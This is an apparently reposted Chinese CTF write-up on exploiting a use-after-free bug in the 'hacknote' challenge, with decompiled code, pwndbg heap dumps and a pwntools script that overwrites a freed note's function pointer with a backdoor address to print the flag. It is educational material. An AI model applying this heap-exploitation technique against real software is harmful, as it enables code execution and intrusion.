欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 财经 > 产业 > Pwn学习笔记(10)--UAF

Pwn学习笔记(10)--UAF

2025/5/6 12:30:01 来源:https://blog.csdn.net/qq_66013948/article/details/143505136  浏览:    关键词:Pwn学习笔记(10)--UAF

Pwn学习笔记(10)–UAF:

​ UAF就是Use-After-Free,即一个指向堆块的指针被释放后指针没有置零,形成了悬空指针,使得堆可以再次被使用。

​ 由于我环境似乎运行不了某个程序,所以演示就不做了,上个简单题来看看。

​ 题目是一个标准的菜单题,有创建note和输出删除的功能,别的不看了,直接看那三个函数:

unsigned int add_note()
{int v0; // ebxint i; // [esp+Ch] [ebp-1Ch]int size; // [esp+10h] [ebp-18h]char buf[8]; // [esp+14h] [ebp-14h] BYREFunsigned int v5; // [esp+1Ch] [ebp-Ch]v5 = __readgsdword(0x14u);if ( count <= 5 ){for ( i = 0; i <= 4; ++i ){if ( !*(&notelist + i) ){*(&notelist + i) = malloc(8u);if ( !*(&notelist + i) ){puts("Alloca Error");exit(-1);}*(_DWORD *)*(&notelist + i) = print_note_content;printf("Note size :");read(0, buf, 8u);size = atoi(buf);v0 = (int)*(&notelist + i);*(_DWORD *)(v0 + 4) = malloc(size);if ( !*((_DWORD *)*(&notelist + i) + 1) ){puts("Alloca Error");exit(-1);}printf("Content :");read(0, *((void **)*(&notelist + i) + 1), size);puts("Success !");++count;return __readgsdword(0x14u) ^ v5;}}}else{puts("Full");}return __readgsdword(0x14u) ^ v5;
}

​ 先分配了一个堆空间,具体大小为数组notelist的单个元素的大小,之后就是让noteliist第一个元素指向一个函数:

*(_DWORD *)*(&notelist + i) = print_note_content;

​ 估计第一个参数是一个函数指针,之后malloc第二个堆,地址赋给第二个参数,之后读取size大小的字符进入第二个堆块。

v0 = (int)*(&notelist + i);
*(_DWORD *)(v0 + 4) = malloc(size);read(0, *((void **)*(&notelist + i) + 1), size);

​ 删除note:

unsigned int del_note()
{int v1; // [esp+4h] [ebp-14h]char buf[4]; // [esp+8h] [ebp-10h] BYREFunsigned int v3; // [esp+Ch] [ebp-Ch]v3 = __readgsdword(0x14u);printf("Index :");read(0, buf, 4u);v1 = atoi(buf);if ( v1 < 0 || v1 >= count ){puts("Out of bound!");_exit(0);}if ( *(&notelist + v1) ){free(*((void **)*(&notelist + v1) + 1));free(*(&notelist + v1));puts("Success");}return __readgsdword(0x14u) ^ v3;
}

​ 发现先后删除了两个堆块,一个是写入的堆块,也就是上面第二个生成的堆块,之后释放了第一个生成的堆块,也就是存放两个指针的那个堆块:

free(*((void **)*(&notelist + v1) + 1));
free(*(&notelist + v1));

​ 但之后没有对指针进行置零,存在UAF漏洞,因为show里存在idx参数,释放后如果申请大小差不多的堆块。

​ 之后是print_note函数:

unsigned int print_note()
{int v1; // [esp+4h] [ebp-14h]char buf[4]; // [esp+8h] [ebp-10h] BYREFunsigned int v3; // [esp+Ch] [ebp-Ch]v3 = __readgsdword(0x14u);printf("Index :");read(0, buf, 4u);v1 = atoi(buf);if ( v1 < 0 || v1 >= count ){puts("Out of bound!");_exit(0);}if ( *(&notelist + v1) )(*(void (__cdecl **)(_DWORD))*(&notelist + v1))(*(&notelist + v1));return __readgsdword(0x14u) ^ v3;
}

​ 很显然,这里调用了那个堆块里的动态函数:

(*(void (__cdecl **)(_DWORD))*(&notelist + v1))(*(&notelist + v1));

​ 所以只需要想办法修改这里的函数指针即可getshell。

​ 上gdb调一下,先申请两个堆块,之后ctrl+c执行gdb指令看看:

pwndbg> r
Starting program: /mnt/c/Users/20820/Downloads/hacknote
----------------------HackNote
----------------------1. Add note2. Delete note3. Print note4. Exit
----------------------
Your choice :1
Note size :20
Content :aaa
Success !
----------------------HackNote
----------------------1. Add note2. Delete note3. Print note4. Exit
----------------------
Your choice :1
Note size :30
Content :AAA
Success !
----------------------HackNote
----------------------1. Add note2. Delete note3. Print note4. Exit
----------------------
Your choice :^C

​ 之后查看下heap状态:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804b008
Size: 0x190 (with flag bits: 0x191)Allocated chunk | PREV_INUSE
Addr: 0x804b198
Size: 0x10 (with flag bits: 0x11)Allocated chunk | PREV_INUSE
Addr: 0x804b1a8
Size: 0x20 (with flag bits: 0x21)Allocated chunk | PREV_INUSE
Addr: 0x804b1c8
Size: 0x10 (with flag bits: 0x11)Allocated chunk | PREV_INUSE
Addr: 0x804b1d8
Size: 0x30 (with flag bits: 0x31)Top chunk | PREV_INUSE
Addr: 0x804b208
Size: 0x21df8 (with flag bits: 0x21df9)

​ 除开最开始的那个size为0x190的那位以外,其他的大致符合情况 ,两次都是先申请了一个堆块存放两个地址,然后申请另一个堆块来存放输入的内容,之后读一下0x804b198的内存:

pwndbg> x/30gx 0x804b198
0x804b198:      0x0000001100000000      0x0804b1b00804865b		<---这里两个数据,一个是函数指针,也就是0x0804865b,另一个就是输入地址的那个堆块的地址0x0804b1b0
0x804b1a8:      0x0000002100000000      0x000000000a616161
0x804b1b8:      0x0000000000000000      0x0000000000000000
0x804b1c8:      0x0000001100000000      0x0804b1e00804865b
0x804b1d8:      0x0000003100000000      0x000000000a414141
0x804b1e8:      0x0000000000000000      0x0000000000000000
0x804b1f8:      0x0000000000000000      0x0000000000000000
0x804b208:      0x00021df900000000      0x0000000000000000
0x804b218:      0x0000000000000000      0x0000000000000000
0x804b228:      0x0000000000000000      0x0000000000000000
0x804b238:      0x0000000000000000      0x0000000000000000
0x804b248:      0x0000000000000000      0x0000000000000000
0x804b258:      0x0000000000000000      0x0000000000000000
0x804b268:      0x0000000000000000      0x0000000000000000
0x804b278:      0x0000000000000000      0x0000000000000000

​ 这个函数在IDA里的地址是:

.text:0804865B print_note_content proc near            ; DATA XREF: add_note+9A↓o
.text:0804865B
.text:0804865B arg_0           = dword ptr  8
.text:0804865B
.text:0804865B ; __unwind {
.text:0804865B                 push    ebp
.text:0804865C                 mov     ebp, esp
.text:0804865E                 sub     esp, 8
.text:08048661                 mov     eax, [ebp+arg_0]
.text:08048664                 mov     eax, [eax+4]
.text:08048667                 sub     esp, 0Ch
.text:0804866A                 push    eax             ; s
.text:0804866B                 call    _puts
.text:08048670                 add     esp, 10h
.text:08048673                 nop
.text:08048674                 leave
.text:08048675                 retn
.text:08048675 ; } // starts at 804865B
.text:08048675 print_note_content endp

​ 此时bins里啥都没有:

pwndbg> bins
tcachebins
empty
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty

​ 之后,我们分别释放掉两个堆,发现heap变了:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804b008
Size: 0x190 (with flag bits: 0x191)Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b198
Size: 0x10 (with flag bits: 0x11)
fd: 0x00Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b1a8
Size: 0x20 (with flag bits: 0x21)
fd: 0x00Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b1c8
Size: 0x10 (with flag bits: 0x11)
fd: 0x804b1a0Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b1d8
Size: 0x30 (with flag bits: 0x31)
fd: 0x00Top chunk | PREV_INUSE
Addr: 0x804b208
Size: 0x21df8 (with flag bits: 0x21df9)

​ 释放掉了之后,读取0x804b198的内容:

pwndbg> x/30gx 0x804b198
0x804b198:      0x0000001100000000      0x0804b01000000000
0x804b1a8:      0x0000002100000000      0x0804b01000000000
0x804b1b8:      0x0000000000000000      0x0000000000000000
0x804b1c8:      0x0000001100000000      0x0804b0100804b1a0
0x804b1d8:      0x0000003100000000      0x0804b01000000000
0x804b1e8:      0x0000000000000000      0x0000000000000000
0x804b1f8:      0x0000000000000000      0x0000000000000000
0x804b208:      0x00021df900000000      0x0000000000000000
0x804b218:      0x0000000000000000      0x0000000000000000
0x804b228:      0x0000000000000000      0x0000000000000000
0x804b238:      0x0000000000000000      0x0000000000000000
0x804b248:      0x0000000000000000      0x0000000000000000
0x804b258:      0x0000000000000000      0x0000000000000000
0x804b268:      0x0000000000000000      0x0000000000000000
0x804b278:      0x0000000000000000      0x0000000000000000

​ 再看看这个:

pwndbg> bins
tcachebins
0x10 [  2]: 0x804b1d0 —▸ 0x804b1a0 ◂— 0
0x20 [  1]: 0x804b1b0 ◂— 0
0x30 [  1]: 0x804b1e0 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty

​ 完蛋,没注意到tcache给我保存了这些内容,不过不清楚是否存在影响,继续调一调看看吧,之后重新申请个堆

pwndbg> c
Continuing.
1
Note size :8
Content :aaaa
Success !
----------------------HackNote
----------------------1. Add note2. Delete note3. Print note4. Exit
----------------------
Your choice :^C

​ 之后再看看heap:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804b008
Size: 0x190 (with flag bits: 0x191)Allocated chunk | PREV_INUSE
Addr: 0x804b198
Size: 0x10 (with flag bits: 0x11)Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b1a8
Size: 0x20 (with flag bits: 0x21)
fd: 0x00Allocated chunk | PREV_INUSE
Addr: 0x804b1c8
Size: 0x10 (with flag bits: 0x11)Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b1d8
Size: 0x30 (with flag bits: 0x31)
fd: 0x00Top chunk | PREV_INUSE
Addr: 0x804b208
Size: 0x21df8 (with flag bits: 0x21df9)

​ 0x804b198这个地址的chunk被重新拿去用了,第二次申请的那个原本存放了函数指针和字符串指针的那个chunk被分配了,之前拿去作为存放内容的那两个chunk一个都没有被分配,之后读一下这个地址:

pwndbg> x/30xg 0x804b198
0x804b198:      0x0000001100000000      0x0000000a61616161
0x804b1a8:      0x0000002100000000      0x0804b01000000000
0x804b1b8:      0x0000000000000000      0x0000000000000000
0x804b1c8:      0x0000001100000000      0x0804b1a00804865b
0x804b1d8:      0x0000003100000000      0x0804b01000000000
0x804b1e8:      0x0000000000000000      0x0000000000000000
0x804b1f8:      0x0000000000000000      0x0000000000000000
0x804b208:      0x00021df900000000      0x0000000000000000
0x804b218:      0x0000000000000000      0x0000000000000000
0x804b228:      0x0000000000000000      0x0000000000000000
0x804b238:      0x0000000000000000      0x0000000000000000
0x804b248:      0x0000000000000000      0x0000000000000000
0x804b258:      0x0000000000000000      0x0000000000000000
0x804b268:      0x0000000000000000      0x0000000000000000
0x804b278:      0x0000000000000000      0x0000000000000000

​ 发现这里被输入的字符给占了,再去读一下这个0x804b1c8:

pwndbg> x/30xg 0x804b1c8
0x804b1c8:      0x0000001100000000      0x0804b1a00804865b

​ 这里没有啥变化,依旧是指向输出函数的地址,以及指向某字符串的地址,0x804b198这个地址的chunk之前编号为0,因为地址更低,更先被分配,这个地址更高的作为编号1,同时整个程序存在backdoor:

int magic()
{return system("cat /home/hacknote/flag");
}

​ 所以只需要通过两次释放之后,再申请一个0x8之类比较小的,保证能够写入地址同时能够让分配到的chunk为同一个即可,然后申请的时候发送的数据为后门函数的地址即可,之后输出的时候它会自动调用后门程序:

#!/usr/bin/env python
# -*- coding: utf-8 -*-from pwn import *r = process('./hacknote')def addnote(size, content):r.recvuntil(":")r.sendline("1")r.recvuntil(":")r.sendline(str(size))r.recvuntil(":")r.sendline(content)def delnote(idx):r.recvuntil(":")r.sendline("2")r.recvuntil(":")r.sendline(str(idx))def printnote(idx):r.recvuntil(":")r.sendline("3")r.recvuntil(":")r.sendline(str(idx))#gdb.attach(r)
magic = 0x08048986addnote(20, "note1") # add note 0
addnote(30, "note2") # add note 1delnote(0) # delete note 0
delnote(1) # delete note 1addnote(8, p32(magic)) # add note 2printnote(0) # print note 0
gdb.attach(r)
r.interactive()#[*] Switching to interactive mode
#flag{asd32as1-1d8g1r1hj5g4d4-9d54h3jyur4nfke1a}

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词